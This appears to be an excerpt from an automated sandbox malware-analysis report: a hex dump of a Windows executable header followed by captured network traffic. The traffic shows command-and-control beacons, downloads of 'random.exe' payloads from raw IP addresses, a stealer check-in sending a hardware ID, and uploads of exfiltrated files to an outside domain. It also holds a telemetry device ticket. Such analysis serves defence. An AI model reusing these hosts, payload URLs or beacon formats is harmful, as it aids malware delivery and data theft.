00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2a 00 00 04 00 00 96 c5 29 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 61 7a 75 77 64 6c 64 00 40 29 00 00 a0 00 00 00 38 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 69 71 6d 73 76 6d 79 00 20 00 00 00 e0 29 00 00 06 00 00 00 72 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2a 00 00 22 00 00 00 78 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0/ HTTP/1.1Accept: /APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAEJanOM/f8BEauEo6GRqguxLgAJt0LBh1uWaBD08sPTthnLouxyOeqq8UXC40zxYtXUeuLL3jc98oc4sgTt8Qg5RgpVyPUGOqQCdIMU+jHj5jPNgpCOYLzgjk7/68jQbYqRpL5buJGDaKHJUU4Qzi5sjC1iwUwrkBZLfklCNSWdGai+iykzR0ELnFD4lJb88vZch+TXuihcRzjbZvJG6mFONQPa3ignNQpsSbQgkMM4xuASI/kaIM+YTU5dBQE1SH8k0CwZj5Yc3H1S94NyGSn+DeuALqccEE8gt3uchW9hnkYs9tmlAQt7GBc9BBk/kSpz+oHgE=&p=Client-Id: NO_AUTHContent-Encoding: deflateContent-Type: application/bond-compact-binaryExpect: 100-continueSDK-Version: EVT-Windows-C++-No-3.4.15.1Upload-Time: 1732328690733Host: self.events.data.microsoft.comContent-Length: 7975Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 33 32 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008326001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 33 32 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008327001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 33 32 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008328001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDAECAEBKJJJKEBKKJDHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 41 45 43 41 45 42 4b 4a 4a 4a 4b 45 42 4b 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 32 31 30 38 31 44 35 42 44 44 36 33 33 30 35 32 39 38 33 36 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 41 45 43 41 45 42 4b 4a 4a 4a 4b 45 42 4b 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 41 45 43 41 45 42 4b 4a 4a 4a 4b 45 42 4b 4b 4a 44 2d 2d 0d 0a Data Ascii: ------KJDAECAEBKJJJKEBKKJDContent-Disposition: form-data; name="hwid"D21081D5BDD63305298366------KJDAECAEBKJJJKEBKKJDContent-Disposition: form-data; name="build"mars------KJDAECAEBKJJJKEBKKJD--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 33 32 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008329001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 462Content-Type: multipart/form-data; boundary=------------------------suWdlJFMg9moTNUBbW9GQtData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 73 75 57 64 6c 4a 46 4d 67 39 6d 6f 54 4e 55 42 62 57 39 47 51 74 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4e 6f 64 61 76 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 33 ea ed 13 5f a9 73 97 c9 48 56 db 8d 4a 64 fc 3a ca 5f 0a 73 28 76 c3 a8 94 4e 58 3f 51 03 39 9b a3 4e f7 ab 92 ee 2e 6b 65 dc 1a 86 6f cc ff 0f e7 29 59 7d 1c c3 3a cd 92 8a f6 4c 7d 4e cb 9d 05 9c 56 6b 4c dc b8 c6 90 f7 d8 87 81 74 02 92 97 b8 80 a1 58 29 c1 69 1b 58 35 54 59 6f 70 b0 bb f1 09 4d 6c 4b a5 ed 3d cc 14 4f 54 a3 2f 1c 1b be ef e1 15 82 7d 18 f8 8a 42 5b 34 d0 f3 9e 8b c9 cc 7a 7a b7 80 df d2 b1 cd 1b 83 5f 45 da dd c1 d1 e7 c2 03 9f 5f 6b cc ec 87 09 8e bd e8 3b 72 7f 62 f3 f6 39 db ca a1 fd f8 b1 e2 ee a8 df 88 f2 db 40 50 e0 0c b5 f0 fe 21 c5 d4 d5 a0 29 14 da 6f 8e 64 61 8c fa 31 e3 b9 ef 6d 35 98 08 8c f8 0b 90 85 ae 71 d3 6b 50 5a 23 d5 3d 7f 9e 00 c4 db 73 b7 59 49 53 c1 35 a8 0c b3 bb ef 5e 0d a8 5d 09 01 01 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 73 75 57 64 6c 4a 46 4d 67 39 6d 6f 54 4e 55 42 62 57 39 47 51 74 2d 2d 0d 0a Data Ascii: --------------------------suWdlJFMg9moTNUBbW9GQtContent-Disposition: form-data; name="file"; filename="Nodava.bin"Content-Type: application/octet-stream3_sHVJd:_s(vNX?Q9N.keo)Y}:L}NVkLtX)iX5TYopMlK=OT/}B[4zz_E_k;rb9@P!)oda1m5qkPZ#=sYIS5^]--------------------------suWdlJFMg9moTNUBbW9GQt--
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 81063Content-Type: multipart/form-data; boundary=------------------------Zyo9NyWcWFVCAZuiOVkg8cData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 5a 79 6f 39 4e 79 57 63 57 46 56 43 41 5a 75 69 4f 56 6b 67 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 51 69 72 65 72 69 66 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 56 5f 85 1d be 54 95 25 45 81 1e 96 0e d2 73 9c c6 a8 34 1f aa 68 f1 3a da 76 2b 5f db ca 58 5f 06 91 7c b0 18 2a e5 88 60 5a ec 7c 5d de e6 14 e3 18 26 42 ae c4 02 e9 3e 9b 56 98 72 19 05 22 95 a8 bf a5 e7 ab d8 e8 8b f4 ef 8a 59 44 65 b9 d2 7f c6 50 57 db 2c 0c 8a 03 a0 e2 26 b6 1f b5 40 d7 a0 39 72 c5 c1 ac a3 de 87 55 7e 76 01 fe ae 1f 03 25 c4 c9 69 fe 8a e9 d0 69 82 b8 19 3f 58 40 45 a4 25 0e d4 88 e1 90 f3 55 91 00 11 89 d2 8f 8e 57 10 fb ac b9 34 30 e2 53 60 ca db 2b 20 d5 9d b6 45 25 fd aa e9 87 ba a4 8b 5c 96 b5 6f f4 7b 4a 09 3c f1 7b 04 58 c9 f2 6e 2c b0 41 95 76 37 5f 87 dd 9c 44 05 a7 13 b7 15 b4 6c 85 5a 71 57 c8 78 98 b0 48 1e 44 89 b7 72 c6 e7 51 55 6f 1e 59 e8 6c 4c c7 70 84 e1 cd e7 45 b3 35 35 6e e1 75 d6 d4 47 e7 d4 90 b5 a9 bd bc 8b 97 31 8d 27 dc 63 8d b1 6e 67 de f3 94 44 5e 16 51 ca 9b 06 da e0 ad 69 01 3a bd c2 e2 e4 15 3f 7e 3e 22 ca 05 3b 13 5a 34 86 6a 2b dc 5e 7c 05 21 fa bd 1d a8 e7 f8 4b 4c ab 4c 24 86 74 75 0e 9e a3 2d 7b f6 3d 32 58 7f ab 4f 3f e9 15 ef 20 df 07 70 a9 b3 1b d2 0d e3 e2 b9 7d da 61 e7 cf 63 7c e5 27 0d 90 e2 cd f4 a2 66 f4 33 c5 3a ba 23 ee bf 2c ba c8 3a 2c 75 87 89 f9 09 95 cb 2c e3 bf 84 4d 9d e3 00 a2 ec bf 0d a2 fd b6 67 e2 52 b6 4f d0 32 b9 c7 62 a4 46 b1 0c 96 a3 8f ce 4d 8f 7f 42 91 24 d7 06 66 2f 62 b7 fa 65 22 aa 51 e6 8e 14 d7 00 17 b9 be 79 bb af 60 2b 79 0a c8 cd 00 f1 b8 12 64 6b 6c 3a bb 56 78 1a 72 a6 59 f7 1e 82 58 f7 ed 1f 7b 5c 1b 12 30 74 e6 c5 05 4e c5 e2 b6 35 9c 69 fc dc 28 d2 46 16 d4 50 12 20 b3 8a 09 af c5 73 09 fb 30 0f 6c d9 a3 8e 68 1e a0 ed 07 9d 4b ee 87 7c ce 02 7a 1a 58 bc 1e c8 ac 21 14 bc 25 58 ff 93 4d 74 22 e4 16 fe 1d 6b dc 3d 49 fe 8b 14 8d 62 59 7c 9b a3 51 2b af 45 b2 0c b0 8d 2b 34 47 14 6d 0e b6 46 60 bd bd c8 ce ef 9f de 4b 31 d1 13 a0 f4 42 46 65 f2 93 ed b3 bc e9 10 f9 f0 88 1e d1 28 d9 96 c0 81 b9 8a eb c7 29 56 bf 3c be 33 fe fb 3a f8 6a 28 97 41 05 a5 5e 1c 1d 3f a8 ea 35 a8 ad 43 12 7c 21 43 68 48 43 1f fe 26 19 0b b0 63 81 d4 e9 ad 08 c7 d4 81 6d 9e 8c dd 6c 1f 63 5e 95 87 bb 0b ed 7d f3 54 88 23 55 15 da 35 e2 29 9c 54 81 7a a2 2e ff 71 e7 b4 d2 43 2c 02 9a 31 ce 29 f7 07 c8 e7 b4 32 bc 0c 83 dd 69 01 6f 36 ab a5 83 41 a9 f2 cf c0 c6 7c 63 4f e3 4d e6 bd 24 28 f6 f9 87 57 b4 67 fd 34 89 5c 4f 47 54 45 f8 92 78 e0 5c 18 74 0e f9 56 36 d0 48 c8 45 e5 d4 11 07 9c 45 c1 91 85 76 a5 92 f1 c1
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 33 33 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008330001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAFIJKKEHJDHJKFIECAAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 32 31 30 38 31 44 35 42 44 44 36 33 33 30 35 32 39 38 33 36 36 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 2d 2d 0d 0a Data Ascii: ------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="hwid"D21081D5BDD63305298366------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="build"mars------AAFIJKKEHJDHJKFIECAA--
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 23416Content-Type: multipart/form-data; boundary=------------------------yB3LxmJz8bTlrUUXgF2G2sData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 79 42 33 4c 78 6d 4a 7a 38 62 54 6c 72 55 55 58 67 46 32 47 32 73 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4a 6f 63 61 62 69 68 6f 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 65 22 dd 0d 5d f3 14 8e 08 01 31 83 8e 6a 05 21 12 03 35 93 f1 72 5c b0 1f 86 73 95 f1 59 64 dd 73 57 97 ac 9a 59 da 48 4e 85 f5 e4 54 f5 f6 9c 6d 04 31 e6 d2 2a 51 43 9d 83 54 44 ed db e2 0c 0a 2a 80 91 26 8e 75 7a f9 a4 5e 30 7a 5a 21 9c 57 32 9b 88 7e fd cd 5e 86 2b c7 54 70 53 18 15 af d4 1c 76 14 1f 1d 88 58 67 8c 4e cb d7 18 37 8d a2 5f 04 a8 75 87 d2 44 ab 2a 4c 09 05 e9 cf fb 45 c9 cb e6 06 5a c9 02 ba 6a 76 c5 2d 47 05 09 9a c0 41 05 19 51 77 30 22 9e 2c 1d 08 ff 8b 3a e3 61 01 8c 26 11 40 da 4f f5 ce a9 e6 f3 fb 28 8c ad ec b0 61 8c d4 63 21 f8 4b 47 9e 68 b9 4a fa 08 e1 ed 5f 61 04 56 8e 7a 6b 45 45 25 cf 0a 71 3e 04 43 49 21 d4 33 5b 20 2c 31 b8 a3 eb c4 40 8c b4 4f 1d 9a 14 72 1b 37 53 78 df 42 0e 67 2c 94 cc 47 05 6d 4c 06 f6 33 9d bb cd 7a 3e b2 b6 c8 5a fa df 90 c5 0e e2 30 46 01 e1 fc 67 d7 80 6b 47 65 7f 25 39 5b 0a 73 bb 84 e7 74 5a 0c 6e cd b0 a7 39 dc ef d4 33 92 8e b8 fb 01 a2 f8 aa 04 2a 61 2a 10 fd 9d f4 cc f7 5e 2f 6b 2a 2b 30 00 99 22 e2 e7 cd a1 7f 40 b7 68 2c 51 85 d9 43 b3 55 ee d6 db af af 06 fc 70 c5 a5 f7 00 d3 6a e7 f3 14 2f 69 2a ef 3f c6 7f 0c b5 fc ac 96 cf 3e 0d fa 81 44 5b 78 04 13 09 29 a4 c9 ce b6 4c f6 30 8e 6d 61 df d5 cc 84 ab aa df 72 4d db 2a be 74 b7 1c cd 27 70 6c 61 7f 6c cf 5b 77 a3 fb 12 38 57 86 48 6e f1 1e cc 47 1e b1 54 ce 2a 13 33 bc e3 4d 48 11 f4 f0 d0 14 19 ef af 80 05 c9 f6 47 d2 42 23 c4 23 1e a8 ff 18 17 50 30 98 30 a0 4c 3e a2 d4 16 80 43 7b 97 b8 2b e4 bb fe cc ac 62 41 c2 06 31 0d 43 be f9 b8 e4 51 cd ab f6 4f 9b c0 2c d0 2d 96 0c c8 29 a1 7d fa f8 de 04 ee e1 d5 99 c1 96 26 c7 cc c6 48 6e c1 23 1a 24 1d 4b b5 3f 3e e1 de 28 64 16 6e fe ea 47 5f 8f 6e 10 8e c0 3b 78 7a c5 93 80 75 9e b2 8f 9f 66 08 18 49 f5 f4 b9 14 31 95 d5 9d f5 46 74 88 16 26 08 c7 39 33 e6 2c fb 37 03 d3 cd c3 39 55 a1 5a 77 24 98 88 a1 bf 78 b4 64 82 f2 a3 c2 eb 98 0d a1 5d a5 de 92 d7 eb be a6 56 b3 a7 3c e7 a6 6c e5 ac 13 6c a2 98 b8 74 33 91 7d 1c 8e 82 a5 d6 27 28 61 53 ee 30 55 86 c2 81 c8 9b 18 81 b7 8e 3d fe ad db bd d6 d0 ed 5f 84 ad ca 08 29 a5 11 90 59 63 31 d7 1e 56 a7 10 1c 2c 9a 92 32 23 bd e2 c6 be 78 f4 ca 82 14 fa cb f7 80 b3 94 52 8d ce d3 cd 52 03 57 c3 fd 0d d6 9b 55 80 0a 0f 6f 13 4c 28 ad 45 26 32 ab 77 0c 83 a4 9d be 8e 73 76 42 d1 76 38 60 0c 4f 5e bb 66 fe b4 14 f3 fa 38 cb 47 c0 59 05 aa 3b 56 3e 91 3f 50 27 21 80 96 d1 1e c5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
